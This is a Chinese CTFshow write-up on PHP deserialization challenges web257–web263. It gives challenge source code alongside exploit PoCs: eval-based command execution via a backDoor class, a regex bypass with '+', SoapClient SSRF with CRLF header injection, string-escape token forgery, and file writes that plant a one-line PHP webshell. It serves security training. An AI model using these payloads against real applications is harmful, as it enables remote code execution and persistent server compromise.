[CTFSHOW]反序列化

web257

<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

显然要执行这个getInfo方法

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

那么就想办法让程序执行到backDoor类里面的getInfo()

构造payload,由于是cookie传参,所以url编码一下

<?php
class ctfShowUser{
    private $class;
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    private $code='system("cat f*");';
}
$b=new ctfShowUser();
echo urlencode(serialize($b));

web258

<?php

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

加了一个正则

if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){

匹配类似于这种类型的字符串,绕过方法是在数字前加一个"+"
在这里插入图片描述
其他的思路和上一题一样
poc

<?php
class ctfShowUser{
    public $class;
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    public $code='system("cat f*");';
}
$b=new ctfShowUser();
echo urlencode(serialize($b));

记得加上+,他的url编码是%2b
在这里插入图片描述

web 259

<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

flag.php,尝试修改xff头但是没用,返回your ip not 127.0.0.1,说明可能还有代码没给出,猜测可能是ssrf,要利用前面的代码来访问flag.php

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

但是前面的代码什么类都没有,那么可能是原生类SoapClient

php有一个特性,如果一个对象调用了一个未定义的方法,那就会自动调用__call()这个魔法方法

除了添加xff头而且会pop弹出两次,所以我们还需要多给几次127.0.0.1,我们还需要传参:token=ctfshow

构造如下poc:
注意要url编码

<?php
$head = "huamang\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";

$a = new SoapClient(null,array('location'=>'http://127.0.0.1/flag.php','uri'=>'http://127.0.0.1/','user_agent'=>$head));


echo urlencode(serialize($a));

payload:

O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A139%3A%22huamang%0D%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

执行完了后就可以去访问flag.txt了

web 260

直接???,这和反序列化有啥关系

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}

payload:

/?ctfshow=ctfshow_i_love_36D

web 261

<?php

highlight_file(__FILE__);

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);

这一题全是坑

  1. 这个题目php版本是7.4的,那就说明__wakeup是绕不过的,但是这里有一个__unserialize(),定义了一个反序列化方法,这个方法在执行unserialize()方法时会自动调用,所以这个wakeup会失效,不用管这个wakeup(注意,这个定义反序列化方法的操作只有在php版本大于7.4才能用)
  2. __invoke()里面有一个eval,也是无效的,无法调用ctfshowvip()的

这题唯一的路就是file_put_contents($this->username, $this->password);往里面写一句话木马

highlight_file(__FILE__);


class ctfshowvip{
    public $username;
    public $password;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }

}

$a = new ctfshowvip('877.php','<?php eval($_POST[1]);?>');

echo (serialize($a));

蚁剑连接即可

web 262

<?php
error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

直接从这里看是看不出什么下手点,不过有一个str_replace()方法,这个方法结合了序列化会造成反序列化的字符串逃逸

注释里面有一个message.php,访问一下

<?php

highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

我们需要让token为admin就可以拿到flag了

这个str_replace()会把fuck换成loveU,多了一个字符,这样就可以挤了

  • 每一个fuck换成loveU都会多一个字符
  • 我们需要把这段伪造的token字符";s:5:"token";s:5:"admin";}拼接到最后,也就是$t的值,这段字符串的长度是27
  • 所以我们可以传27个fuck,加上伪造的token一共就是4*27+27个字符
  • fuck换成loveU后,已经满足了4*27+27的条件,这样就把";s:5:"token";s:5:"admin";}给挤出去了(逃逸出去了)
  • 逃逸出了变量t的范围后,由于我们精心设计的格式,他会取代之前的token变成新的属性,之前的token就被舍弃掉

payload:

f=1&m=1&t=1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

web 263

源码泄露,先下载下来

index.php里面有setcookie

<?php
	error_reporting(0);
	session_start();
	//超过5次禁止登陆
	if(isset($_SESSION['limit'])){
		$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
	}else{
		 setcookie("limit",base64_encode('1'));
		 $_SESSION['limit']= 1;
	}
	
?>

在inc.php里面有这个,使用了php引擎

ini_set('session.serialize_handler', 'php');

还有user类

class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

看到__destruct()方法里面有 file_put_contents 就应该是把一句话写进一个php文件中

check.php
包含了inc.php,而且会识别cookie,会识别cookie说明就会反序列化cookie的值

<?php
error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);


if($GET){

	$data= $db->get('admin',
	[	'id',
		'UserName0'
	],[
		"AND"=>[
		"UserName0[=]"=>$GET['u'],
		"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
		]
	]);
	if($data['id']){
		//登陆成功取消次数累计
		$_SESSION['limit']= 0;
		echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
	}else{
		//登陆失败累计次数加1
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
		echo json_encode(array("error","msg"=>"登陆失败"));
	}
}

poc:

<?php

highlight_file(__FILE__);
error_reporting(0);

class User{
    public $username='hm.php';
    public $password='<?php eval($_POST[1]);?>';

    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

$a = new user();
// 由于setcookie的时候把值给base64加密了,所以这我们也要加密
echo base64_encode("|".serialize($a));
  • 得到了一串base64,直接换到index里面的limit里面,刷新一下
  • 由于check.php里面包含了inc.php并且会去识别cookie所以我们需要用上他
  • 再访问一次check.php让他去识别一下我们的cookie,识别的时候就进行了反序列化,此时就把一句话写进了log-hm.php里面了,然后就开蚁剑就ok了

web 264


版权声明:本文为m0_51078229原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。